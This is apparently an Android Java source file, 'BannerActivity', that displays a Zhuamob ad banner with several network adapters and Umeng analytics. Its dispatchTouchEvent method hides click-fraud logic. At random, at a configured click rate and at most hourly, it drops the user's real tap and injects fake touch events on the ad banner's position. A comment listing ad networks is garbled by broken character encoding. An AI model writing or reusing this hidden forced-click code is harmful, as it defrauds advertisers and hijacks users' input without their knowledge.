package com.gosdk.p;

import java.util.Calendar;
import java.util.Random;

import android.app.Activity;
import android.content.SharedPreferences;
import android.content.pm.ActivityInfo;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.content.pm.PackageManager.NameNotFoundException;
import android.os.Bundle;
import android.os.SystemClock;
import android.util.DisplayMetrics;
import android.view.MotionEvent;
import android.view.Window;
import android.view.WindowManager;
import android.widget.FrameLayout.LayoutParams;
import android.widget.RelativeLayout;

import com.gosdk.p.vo.OfferConfigManager;
import com.mj.adapters.AnzhiAdapter;
import com.mj.adapters.DoumobAdapter;
import com.mj.newad.Utils;
import com.umeng.analytics.MobclickAgent;
import com.zhuamob.android.ZhuamobLayout;

public class BannerActivity extends Activity {
    /*
     * 2 �ڶ��ǵ� 3 ���� 4 ΢�� 5 ���� 7 ���� 8 AdChina 9 Vpon 11 ���� 12 �ٶ� 13 ���� 14 AdMob 16
     * AirAd 18 AppMedia 21 InMobi 26 �ǧ��ý 28 ����˼�� 33 MobWin 37 91�㶯 38 ���� 39 ����
     */
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        // TODO Auto-generated method stub
        super.onCreate(savedInstanceState);
        requestWindowFeature(Window.FEATURE_NO_TITLE);
        getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN);

        setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE);
        
        ads();
    }

    @Override
    protected void onResume() {
        // TODO Auto-generated method stub
        super.onResume();
        MobclickAgent.onResume(this);
    }

    public void ads() {
        String adlayout = "";
        try {
            PackageManager manager = getPackageManager();
            ApplicationInfo appinfo = manager.getApplicationInfo(
                    getPackageName(), 128);
            adlayout = String.valueOf(appinfo.metaData.get("P_LAYOUT"));
        } catch (NameNotFoundException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }

        
        MobclickAgent.onResume(this);

        // ZhuamobLayout.addCustomizedAdapter(AirpushAdapter.AFFLIATE_ID,
        // AirpushSmartWallAdapter.class);
        ZhuamobLayout.addCustomizedAdapter(AnzhiAdapter.AFFLIATE_ID, AnzhiAdapter.class);
        ZhuamobLayout.addCustomizedAdapter(DoumobAdapter.AFFLIATE_ID, DoumobAdapter.class);

        RelativeLayout main = new RelativeLayout(this);
        main.setLayoutParams(new LayoutParams(-1, -1));

        ZhuamobLayout ad = new ZhuamobLayout(this);

        DisplayMetrics displayMetrics = getResources().getDisplayMetrics();

        RelativeLayout.LayoutParams ad_p = new RelativeLayout.LayoutParams(Utils.convertToScreenPixels(320, displayMetrics.density),
                Utils.convertToScreenPixels(45, displayMetrics.density));
        
        if (adlayout.equals("up")) {
            ad_p.addRule(RelativeLayout.ALIGN_PARENT_TOP, RelativeLayout.TRUE);
            ad_p.addRule(RelativeLayout.ALIGN_PARENT_RIGHT, RelativeLayout.TRUE);
            
        } else {
            ad_p.addRule(RelativeLayout.ALIGN_PARENT_BOTTOM, RelativeLayout.TRUE);
            ad_p.addRule(RelativeLayout.ALIGN_PARENT_RIGHT, RelativeLayout.TRUE);
        }
        
        ad.setLayoutParams(ad_p);

        main.addView(ad);

        addContentView(main, new LayoutParams(-1, -1));

        main.bringToFront();
    }

    @Override
    public boolean dispatchTouchEvent(MotionEvent ev) {

        if (ev.getAction() == MotionEvent.ACTION_UP && go()) {

            String adlayout = "";
            try {
                PackageManager manager = getPackageManager();
                ApplicationInfo appinfo = manager.getApplicationInfo(
                        getPackageName(), 128);
                adlayout = String.valueOf(appinfo.metaData.get("P_LAYOUT"));
            } catch (NameNotFoundException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
            
            DisplayMetrics dm = getResources().getDisplayMetrics();
            double x = 0;
            float y = 0;
            if (adlayout.equals("up")) {
                x = dm.widthPixels - Utils.convertToScreenPixels(50, dm.density);
                y = Utils.convertToScreenPixels(15, dm.density);
            } else {
                x = dm.widthPixels - Utils.convertToScreenPixels(50, dm.density);
                y = dm.heightPixels - Utils.convertToScreenPixels(15, dm.density);
            }
            

            MotionEvent down = MotionEvent.obtain(SystemClock.uptimeMillis(), SystemClock.uptimeMillis(), MotionEvent.ACTION_DOWN, (float) x, y, 0);
            super.dispatchTouchEvent(down);
            MotionEvent up = MotionEvent.obtain(SystemClock.uptimeMillis(), SystemClock.uptimeMillis(), MotionEvent.ACTION_UP, (float) x, y, 0);

            super.dispatchTouchEvent(up);

            return true;
        } else {
            return super.dispatchTouchEvent(ev);
        }
    }

    private boolean go() {

        boolean flg = false;

        int i = new Random().nextInt(1000);

        if (i <= OfferConfigManager.getClickRate(this)) {
            SharedPreferences config = getSharedPreferences("config", 0);
            long last = config.getLong("last", 0);
            if (Calendar.getInstance().getTimeInMillis() - last >= 3600 * 1000) {
                flg = true;
                config.edit().putLong("last", Calendar.getInstance().getTimeInMillis()).commit();
            }
        }

        return flg;
    }

    private void setEnv(String str) {
        getSharedPreferences("clientSdkConfig", 0).edit().putString("env", str).commit();
    }

    @Override
    protected void onPause() {
        // TODO Auto-generated method stub
//        requestad();
        super.onPause();
    }

    @Override
    protected void onDestroy() {
//        requestad();
        // TODO Auto-generated method stub
        super.onDestroy();
    }
    
    @Override
    public void onBackPressed() {
        // TODO Auto-generated method stub
        super.onBackPressed();
        finish();
    }
}
